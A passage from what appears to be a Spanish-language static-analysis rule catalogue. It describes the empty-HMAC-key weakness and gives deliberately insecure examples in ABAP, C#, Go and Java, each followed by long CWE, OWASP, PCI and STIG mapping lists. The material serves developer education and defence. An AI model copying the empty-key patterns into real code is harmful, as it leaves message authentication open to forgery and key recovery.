[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.vb.key_management_empty_encryption_key
Abstract
Las claves de HMAC vacías pueden poner en riesgo la seguridad del sistema de una forma que no es fácil de resolver.
Explanation
Nunca es una buena idea utilizar una clave HMAC vacía. La intensidad criptográfica de HMAC depende del tamaño de la clave secreta, que se utiliza para calcular y verificar los valores de autenticación de mensajes. El uso de una clave vacía debilita la intensidad criptográfica de la función HMAC.
Ejemplo 1: El siguiente código utiliza una clave vacía para el cálculo de HMAC:

...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
Input_string type string.

CALL METHOD cl_abap_hmac=>get_instance
EXPORTING
if_algorithm = 'SHA3'
if_key = space
RECEIVING
ro_object = lo_hmac.

" update HMAC with input
lo_hmac->update( if_data = input_string ).

" finalise hmac
lo_digest->final( ).

...


Puede ser que el código mostrado en el Example 1 se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1 es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.abap.key_management_empty_hmac_key
Abstract
Las claves de HMAC vacías pueden poner en riesgo la seguridad del sistema de una forma que no es fácil de resolver.
Explanation
Nunca es una buena idea utilizar una clave HMAC vacía. La intensidad criptográfica de HMAC depende del tamaño de la clave secreta, que se utiliza para calcular y verificar los valores de autenticación de mensajes. El uso de una clave vacía debilita la intensidad criptográfica de la función HMAC.
Ejemplo 1: El siguiente código utiliza una clave vacía para el cálculo de HMAC:

...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
string hmacKey = "";
byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
hmac.Key = keyBytes;
...
}
...


Puede ser que el código del Example 1 se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1 es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.dotnet.key_management_empty_hmac_key
Abstract
Las claves de HMAC vacías pueden poner en riesgo la seguridad del sistema de una forma que no es fácil de resolver.
Explanation
Nunca use una clave HMAC vacía. La intensidad criptográfica de HMAC depende del tamaño de la clave secreta, que se utiliza para calcular y verificar los valores de autenticación de mensajes. El uso de una clave vacía debilita la intensidad criptográfica de la función HMAC.

Ejemplo 1: El siguiente código utiliza una clave vacía para el cálculo de HMAC:


import "crypto/hmac"
...
hmac.New(md5.New, []byte(""))
...


Puede ser que el código del Example 1 se ejecute correctamente, pero cualquier persona con acceso a él puede determinar que utiliza una clave HMAC vacía. Una vez distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1 es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.golang.key_management_empty_hmac_key
Abstract
Las claves de HMAC vacías pueden poner en riesgo la seguridad del sistema de una forma que no es fácil de resolver.
Explanation
Nunca es una buena idea utilizar una clave HMAC vacía. La intensidad criptográfica de HMAC depende del tamaño de la clave secreta, que se utiliza para calcular y verificar los valores de autenticación de mensajes. El uso de una clave vacía debilita la intensidad criptográfica de la función HMAC.
Ejemplo 1: El siguiente código utiliza una clave vacía para el cálculo de HMAC:

...
private static String hmacKey = "";
byte[] keyBytes = hmacKey.getBytes();
...
SecretKeySpec key = new SecretKeySpec(keyBytes, "SHA1");
Mac hmac = Mac.getInstance("HmacSHA1");
hmac.init(key);
...


Puede ser que el código del Example 1 se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1 es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
